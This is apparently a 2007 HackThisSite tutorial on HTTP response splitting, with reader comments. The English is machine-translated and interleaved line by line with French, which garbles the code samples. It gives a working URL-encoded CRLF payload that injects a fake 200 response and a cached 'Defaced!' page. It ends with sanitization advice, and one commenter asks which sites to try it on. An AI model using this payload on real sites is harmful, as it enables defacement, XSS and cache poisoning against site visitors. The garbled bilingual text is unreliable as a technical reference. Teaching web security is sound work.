I know of no more encouraging fact than the unquestioned ability of a man to elevate his life by conscious endeavor. Je ne connais pas de plus encourageant que le fait incontestable capacité d'un homme à élever sa vie par effort conscient.
HTTP Response SplittingFractionnement de réponse HTTP
Published by: Kane , on 2007-10-01 18:08:57 Publié par: Kane, le 2007-10-01 18:08:57
HTTP Response Splitting is a fairly new type of Web App security vulnerability. Fractionnement de réponse HTTP est assez nouveau type de Web App faille de sécurité.The idea behind it is, you find a website that takes user submitted data, and writes it to the HTTP header. L'idée sous-jacente est, vous trouvez un site Web qui prend présenté des données utilisateur, et l'écrit dans l'en-tête HTTP.An example of this is a Location: redirect. Un exemple de cela est un lieu: redirection.Heres the PHP code that takes a website, and redirects you to it. Voici le code PHP qui tient un site web, et vous redirige à celui-ci.
As you can see, the 'page' variable is passed to the Location header to redirect the user. Comme vous pouvez le voir, la 'page' variable est passé à la tête Emplacement pour rediriger l'utilisateur.Heres what the request and reply headers look like: Voici ce que la demande et de réponse ressemblent à des têtes:
Request:Demande: CODE : CODE:
GET /index.php?page=http://www.google.com\r\nGET / index.php? Page = http://www.google.com \ r \ n HTTP/1.1\r\nHTTP/1.1 \ r \ n Host: site.com\r\nHôte: site.com \ r \ n Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,*/*; q = 0.5 \ r \ n Accept-Language: en-us,en;q=0.5\r\nAccept-Language: fr, fr; q = 0.5 \ r \ n Accept-Encoding: gzip,deflate\r\nAccept-Encoding: gzip, deflate \ r \ n Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nAccept-Charset: ISO-8859-1, utf-8; q = 0.7, *; q = 0.7 \ r \ n Keep-Alive: 300\r\nKeep-Alive: 300 \ r \ n Connection: keep-alive\r\nConnection: keep-alive \ r \ n \r\n\ r \ n
HTTP/1.1 302 Found\r\nHTTP/1.1 302 Found \ r \ n Date: Tue, 02 Oct 2007 1:40:00 GMT\r\nDate: Tue, 02 Oct 2007 1:40:00 GMT \ r \ n Server: Apache/0.0.0 (Windows) PHP/0.0.0Serveur: Apache/0.0.0 (Windows) PHP/0.0.0 Location: http://www.google.com\r\nLieu: http://www.google.com \ r \ n The users fake headers will be hereLes utilisateurs de fausses têtes seront ici Keep-Alive: timeout=15, max=100\r\nKeep-Alive: timeout = 15, max = 100 \ r \ n Connection: Keep-Alive\r\nConnection: Keep-Alive \ r \ n Transfer-Encoding: chunked\r\nTransfer-Encoding: chunked \ r \ n Content-Type: text/html\r\nContent-Type: text / html \ r \ n \r\n\ r \ n
Now the server sends you to the requested URL (google.com):Actuellement, le serveur vous envoie à l'URL demandée (google.com): CODE : CODE:
The server will respond with a 200 Found response and show you the requested document, Google.com. Le serveur répond avec un ensemble de 200 trouvé de réponse et pour vous montrer le document demandé, Google.com.Hopefully you noticed whats at the end of each line. J'espère que vous avez remarqué quoi à la fin de chaque ligne. \r\n \ r \ n Which is also represented as: Qui est également représentée en tant que: CR LF and, CR et LF, %0d %0a % 0d% 0a
So, you should know how to fake headers. Alors, vous devriez savoir comment de fausses têtes.Basically, if you inject a CR LF in the header, you can inject your own and you have your attack. En fait, si vous injectez un CR LF dans l'en-tête, vous pouvez injecter votre propre et vous avez votre attaque.Now, what can be accomplished with this? Maintenant, ce qui peut être accompli à cet égard?Well, you can re-write the page. Eh bien, vous pouvez ré-écrire la page.Allowing for XSS, HTML Injection, and you can even tell the browser to cache your 'defaced' page by setting either, Permettre d'une faille XSS, injection HTML, et vous pouvez même dire au navigateur de votre cache "effacé" par la mise en page ou l'autre, Last-Modified: Dernière mise à jour: Cache-Control: or, Cache-Control: ou, Pragma To a date ahead of the current. À une date à venir de l'actuel.
So, lets inject our own headers to rewrite the page and tell the browser to cache it. Donc, permet d'injecter de nos propres têtes de réécrire la page et de dire au navigateur de cache.
Our Injection:Notre Injection: CODE : CODE:
\r\n\ r \ n Content-Type: text/html\r\nContent-Type: text / html \ r \ n HTTP/1.1 OK\r\nOK HTTP/1.1 \ r \ n Content-Type: text/html\r\nContent-Type: text / html \ r \ n Last-Modified: 5 Oct 12:00:00 GMT\r\nDernière mise à jour: 5 Oct 12:00:00 GMT \ r \ n \r\n\ r \ n <html><h1>Defaced!</h1></html><html> <h1> effacé </ h1> </ html>
Heres what the request and reply headers look like: Voici ce que la demande et de réponse ressemblent à des têtes:
Request:Demande: CODE : CODE:
GET /index.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-GET / index.php? Page =% 0d% 0aContent-Type:% 20text/html% 0d% 0aHTTP/1.1% 20200% 20OK% 0d% 0aContent-Type:% 20text/html% 0d% 0aLast - Modified:%20Tue,%205%20Oct%202007%2012:00:00%20GMT%0d%0a%0d%0a%3Chtml%3E%3Ch1%3EDefaced!%3C/html%3E\r\nMise à jour: 20Tue%,% 205% 20Oct% 202007% 2012:00:00% 20GMT% 0d% 0a% 0d% 0a% 3Chtml% 3E% 3Ch1% 3EDefaced! 3C/html% 3E% \ r \ n HTTP/1.1\r\nHTTP/1.1 \ r \ n Host: http://site.com\r\nHôte: http://site.com \ r \ n Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,*/*; q = 0.5 \ r \ n Accept-Language: en-us,en;q=0.5\r\nAccept-Language: fr, fr; q = 0.5 \ r \ n Accept-Encoding: gzip,deflate\r\nAccept-Encoding: gzip, deflate \ r \ n Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nAccept-Charset: ISO-8859-1, utf-8; q = 0.7, *; q = 0.7 \ r \ n Keep-Alive: 300\r\nKeep-Alive: 300 \ r \ n Connection: keep-alive\r\nConnection: keep-alive \ r \ n \r\n\ r \ n
HTTP/1.1 302 FoundHTTP/1.1 302 Found Normal header hereNormal tête ici Date: Tue, 02 Oct 2007 1:40:00 GMT\r\nDate: Tue, 02 Oct 2007 1:40:00 GMT \ r \ n Server: Apache/0.0.0 (Windows) PHP/0.0.0Serveur: Apache/0.0.0 (Windows) PHP/0.0.0 Location:Lieu: Content-Type: text/htmlContent-Type: text / html HTTP/1.1 200 OKHTTP/1.1 200 OK Our response has been injected hereNotre réponse a été injecté ici Content-Type: text/htmlContent-Type: text / html <html><h1>Defaced!</h1></html><html> <h1> effacé </ h1> </ html> Our above code gets shown as the redirected pageNotre code ci-dessus est démontré que la page redirigée Keep-Alive: timeout=15, max=100Keep-Alive: timeout = 15, max = 100 Connection: Keep-AliveConnection: Keep-Alive Transfer-Encoding: chunkedTransfer-Encoding: chunked Content-Type: text/htmlContent-Type: text / html
As you can see in the example above, the server runs the normal 302 response, then, our injected code gets placed instead of the redirect which will cause it to show on the page. Comme vous pouvez le voir dans l'exemple ci-dessus, le serveur exécute la réponse normale 302, puis, notre code injecté est placé au lieu de la redirection qui le fera apparaître sur la page.Allowing for the payload of our choice. Compte tenu de la charge utile de notre choix.And as a bonus, it gets cached until the 5'th of October ;) Et en prime, il est mis en cache jusqu'à ce que le 5'th de Octobre;) So up until that day, providing they don't clear their cache, they will see the defaced page. Donc, jusqu'à ce jour, à condition qu'ils ne sont pas clairement leur cache, ils vont voir la page effacé.
Now, to protect yourself against this attack, be sure to sanitize input against: Maintenant, pour vous protéger contre cette attaque, assurez-vous de désinfecter entrée contre: CR LF CR LF \r\n and, \ r \ n et, %0d%0a % 0d% 0a And any other forms of encoding for these characters before parsing them to the HTTP Headers. Et toutes autres formes de codage de ces caractères avant de parsing à les en-têtes HTTP.
Hope that explains it... Espérons que l'explique ... ;)
Cast your vote on this article Voter sur cet article *Note: the order of the votes has been reversed. * Note: l'ordre des votes a été inversée.
Kane - 01:43 pm Monday October 01st, 2007Kane - 01:43 h du lundi 01e Octobre, 2007
Aww... Aww ...It ruined the pretty layout :( Il ruine la jolie mise en page: (
DaC - 01:54 pm Monday October 01st, 2007DAC - 01:54 h du lundi 01e Octobre, 2007
doesnt matter, its a good article :) question ne marche pas, c'est un bon article:)
its nice to read, not new theme, but thanks for writing. sa belle à lire, pas nouveau thème, mais grâce à l'écriture.got 9 points a 9 points
Tormn - 01:55 pm Monday October 01st, 2007Tormn - 01:55 h du lundi 01e Octobre, 2007
Lol, I can see you\'ve photoshop\'d your avatar Kane. Lol, je peux vous voir \ 'ai photoshop \' d Kane votre avatar.XP Looks like the preset background with KANE lettering... XP On dirait que le préréglage de fond avec KANE lettrage ...Preset lettering with color overlay and outer glow. Présélection des lettres avec la superposition des couleurs et éclat extérieur.And the only thing you changed the color on is the color overlay XP. Et la seule chose que vous avez changé la couleur est la couleur de superposition XP.GET A BETTER AVATAR! Obtenir un meilleur avatar!NO PRESETS. NO PRESETS.XP love you too, btw nice article, I only read about the \\r\\n thing. XP vous aime trop, btw Nice article, je ne lire au sujet de la \ \ r \ \ n chose.Its cool. Ses frais.My email has it so I\'ll try it. Mon email est-il si I \ 'll essayer.
BTW, 10 points only because I /love you Kane. BTW, 10 points seulement parce que je / vous aime Kane.
yourmysin - 02:01 pm Monday October 01st, 2007yourmysin - 02:01 h du lundi 01e Octobre, 2007
Intresting article, very easy to follow for the beginners. Intresting article, très facile à suivre pour les débutants.
Kane - 02:06 pm Monday October 01st, 2007Kane - 02:06 h du lundi 01e Octobre, 2007
@DaC, I hate when the layout goes to shit :P But thanks for the vote ;) @ CAD, je déteste quand la mise en page va à la merde: P Mais merci pour le vote;)
@Tormn, make me a better avatar and I\'ll use it XD @ Tormn, fais de moi un meilleur avatar et I \ 'll utiliser XD
@Yourmysin, yay thanks :P @ Yourmysin, grâce yay: P
<3 Kane .... <3 Kane .... <3 Kane\'s article :P <3 Kane \ 's article: P
lordofwhee - 04:47 pm Monday October 01st, 2007lordofwhee - 04:47 h du lundi 01e Octobre, 2007
Awesome article, especially among the flood of crap we\'ve been having recently. Awesome article, en particulier parmi le flot de merde nous \ 'ai eu récemment.
c24lightning - 06:46 pm Monday October 01st, 2007c24lightning - 06:46 h du lundi 01e Octobre, 2007
i think this article is the highest % in a long time. Je pense que cet article est le plus élevé% dans un temps long.(98% currently) (98% actuellement)
10/10 10.10
nos_slived - 08:06 pm Monday October 01st, 2007nos_slived - 08:06 h du lundi 01e Octobre, 2007
Kane, I love you. Kane, Je t'aime.Finally something both unique and well written. Enfin quelque chose d'unique et bien écrit.Best of all, it isn\'ta mission walkthrough. Mieux encore, il n \ 'ta mission solution.
vicarious - 10:19 pm Monday October 01st, 2007Vicarious - 10:19 h du lundi 01e Octobre, 2007
10 10 10 10 ;D 10 10 10 10; D
Kane - 03:01 am Tuesday October 02nd, 2007Kane - 03:01 Mardi 02ème Octobre, 2007
Thanks for the responses XD Merci pour les réponses XD
venkman - 09:18 am Wednesday October 03rd, 2007Venkman - 09:18 Mercredi 03ème Octobre, 2007
Yay, good text Kane, you won the status of Citizen writing that ;_) Yay, bon texte Kane, vous avez gagné le statut de citoyen qui écrit; _)
Nice, I have not seen a good article in awhile. Nice, je n'ai pas vu un bon article dans quelque temps.
masterboot - 08:07 pm Sunday October 14th, 2007masterboot - 08:07 h Dimanche Octobre 14th, 2007
this is a good article. c'est un bon article.Thanks Merci
tommosimmo - 04:24 am Sunday October 21st, 2007tommosimmo - 04:24 h dimanche Octobre 21st, 2007
Whats a good program to edit Http-Headers with? Quoi un bon program pour modifier http-têtes avec?
Cheers, À la vôtre, ToM Tom
Kane - 05:59 am Thursday October 25th, 2007Kane - 05:59 am jeudi Octobre 25th, 2007
Live HTTP Headers - A plugin for Mozilla Firefox Live-têtes HTTP - un plugin pour Mozilla Firefox
dw0rek - 01:10 pm Friday November 09th, 2007dw0rek - 01:10 h Vendredi 09e Novembre, 2007
With default install of Apache/2.2.4 (Win32) PHP/5.2.4 the header function Avec l'installation par défaut de Apache/2.2.4 (Win32) PHP/5.2.4 fonction de l'en-tête checks for CRLF injections, and displays the following warning message if more CRLF contrôles pour les injections, et affiche le message d'avertissement suivant si plus de than one line is detected, IE. que d'une ligne est détecté, IE.a carriage return, line feed has been used. un retour chariot, saut de ligne a été utilisée.
Warning: Header may not contain more than a single header, new line detected. Attention: mai-tête ne contient pas plus de une seule tête, nouvelle ligne détectée.in D:\\www\\g.php on line 2 D: \ \ www \ \ g.php sur la ligne 2
whatsLOVE - 11:09 pm Sunday April 13th, 2008whatsLOVE - 11:09 h Dimanche Avril 13, 2008
Man all of Kane are sexy and I wis Kanes sexy too Kane add me clever.hacker@hotmail.com Homme de tous Kane sont sexy et je wis Kanes trop sexy Kane-moi ajouter clever.hacker @ hotmail.com
lpata29 - 03:43 am Tuesday May 20th, 2008lpata29 - 03:43 Mardi Mai 20 Juillet 2008
wat are some sites i can try this on Wat sont certains sites je peux essayer sur ce
aronramires - 08:14 pm Thursday November 06th, 2008aronramires - 08:14 h Jeudi 06e Novembre, 2008
du have friendsters? ont du friendsters? hihihi
This site is the collective work of the HackThisSite staff. Ce site est le travail collectif de la HackThisSite personnel.Please don't reproduce in part or whole without permission. S'il vous plaît ne pas reproduire en partie ou en totalité sans permission. Page Generated: Mon, 01 Dec 2008 22:37:00 -0500 Exec: 10 Page générée: Mon, 01 Dec 2008 22:37:00 -0500 Exec: 10 Page loaded in 0.11421 seconds!Page chargée en 0.11421 secondes!
Aww... Aww ... It ruined the pretty layout :( Il ruine la jolie mise en page: (